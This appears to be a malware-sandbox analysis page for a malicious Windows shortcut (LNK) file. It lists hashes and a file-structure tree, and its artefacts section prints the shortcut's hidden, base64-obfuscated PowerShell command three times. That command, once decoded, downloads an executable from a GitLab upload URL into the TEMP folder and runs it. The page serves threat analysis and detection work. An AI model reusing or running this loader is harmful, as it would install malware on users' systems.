Malicious
Malicious
Print
Infection Chain
Summary by MalvaGPT
Characteristics
Hash
 Hash Value
MD5
84492dfda6a080fab81d7584ceba6d3a
Sha1
e231ed62fbf24e8ca91516f95e668eeaf1754595
Sha256
c9b63c60856549aae39912cf06040cbd7c4ee29d86235482e8352c3d3544cf24
Sha384
512169dd983bce4c500405e60e6ccbdd8be2492b437cd821c121c4ef70376e48452093981731fcb55d67f8d9b83b98b3
Sha512
740690ac732df89eadebf39a05d6f63e70d9f1854726d65b1453e03e2d7e03e4807c402cb98ca64c75b7c5cabddefc4ca53c7c42cf8676e3c72f6921bd87be57
SSDeep
1536:4u7ZmAG4NYhNQ8Qgz493y+AK0/MXwXJyNaOa2yW45E2mmUaD:4u7N+Qg0ErK0/MXw5b2yRmmND
TLSH
E063E1288FE1C904D5B299B6C11395AB4463FE262C7298D460FD862D1B53D49FC34F7E
File Structure
84492dfda6a080fab81d7584ceba6d3a
Malicious
LNK CommandLine
Malicious
[Deobfuscated PS]
Malicious
[Lnk Summary]
Malicious
[Deobfuscated PS]
Malicious
[Deobfuscated PS]
Malicious
Artefacts
Name
 Value
LNK: Command Execution

powershell.exe -WindowStyle hidden -NoExit -Command "$EEI3B4IR = 'dT85wuQ2tmb21EU2V0LUNvbnRlbnQgJGVudjpURU1QXE9WICdyZXZpZXcnOyRLU2J3akZqUCA9IDE4ICsgMTM7JEtTYndqRmpQID0gMTggKyAxMzskS1Nid2pGalAgPSAxOCArIDEzOyRLU2J3akZqUCA9IDE4ICsgMTM7U3RhcnQtUHJvY2VzcyAkZW52OlRFTVBcT1Y7aXdyIC1VcmkgaHR0cHM6Ly9naXRsYWIuY29tLy0vcHJvamVjdC83NTk0ODQ0NS91cGxvYWRzLzRjM2U2NjBhYjUxYzc4ZjQ5YjljMTAwMTZlODUyMjg3L2tzdi5leGUgLU91dEZpbGUgJGVudjpURU1QXFZHUTRPa3N2LmV4ZTtTdGFydC1Qcm9jZXNzICRlbnY6VEVNUFxWR1E0T2tzdi5leGU7RXhpdA==';$E4ALXVABJ = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EEI3B4IR.Substring(6)));$xSCRcAdFCG = 5 + 2;Invoke-Expression -Command $E4ALXVABJ.Substring(6);Exit"
Deobfuscated PowerShell

-windowstyle "hidden" -NoExit -Command "$EEI3B4IR = 'dT85wuQ2tmb21EU2V0LUNvbnRlbnQgJGVudjpURU1QXE9WICdyZXZpZXcnOyRLU2J3akZqUCA9IDE4ICsgMTM7JEtTYndqRmpQID0gMTggKyAxMzskS1Nid2pGalAgPSAxOCArIDEzOyRLU2J3akZqUCA9IDE4ICsgMTM7U3RhcnQtUHJvY2VzcyAkZW52OlRFTVBcT1Y7aXdyIC1VcmkgaHR0cHM6Ly9naXRsYWIuY29tLy0vcHJvamVjdC83NTk0ODQ0NS91cGxvYWRzLzRjM2U2NjBhYjUxYzc4ZjQ5YjljMTAwMTZlODUyMjg3L2tzdi5leGUgLU91dEZpbGUgJGVudjpURU1QXFZHUTRPa3N2LmV4ZTtTdGFydC1Qcm9jZXNzICRlbnY6VEVNUFxWR1E0T2tzdi5leGU7RXhpdA==';$E4ALXVABJ = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EEI3B4IR.Substring(6)));$xSCRcAdFCG = 5 + 2;Invoke-Expression -Command $E4ALXVABJ.Substring(6);Exit"
Deobfuscated PowerShell

-windowstyle "hidden" -NoExit -Command "$EEI3B4IR = 'dT85wuQ2tmb21EU2V0LUNvbnRlbnQgJGVudjpURU1QXE9WICdyZXZpZXcnOyRLU2J3akZqUCA9IDE4ICsgMTM7JEtTYndqRmpQID0gMTggKyAxMzskS1Nid2pGalAgPSAxOCArIDEzOyRLU2J3akZqUCA9IDE4ICsgMTM7U3RhcnQtUHJvY2VzcyAkZW52OlRFTVBcT1Y7aXdyIC1VcmkgaHR0cHM6Ly9naXRsYWIuY29tLy0vcHJvamVjdC83NTk0ODQ0NS91cGxvYWRzLzRjM2U2NjBhYjUxYzc4ZjQ5YjljMTAwMTZlODUyMjg3L2tzdi5leGUgLU91dEZpbGUgJGVudjpURU1QXFZHUTRPa3N2LmV4ZTtTdGFydC1Qcm9jZXNzICRlbnY6VEVNUFxWR1E0T2tzdi5leGU7RXhpdA==';$E4ALXVABJ = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EEI3B4IR.Substring(6)));$xSCRcAdFCG = 5 + 2;Invoke-Expression -Command $E4ALXVABJ.Substring(6);Exit"
84492dfda6a080fab81d7584ceba6d3a (68.96 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙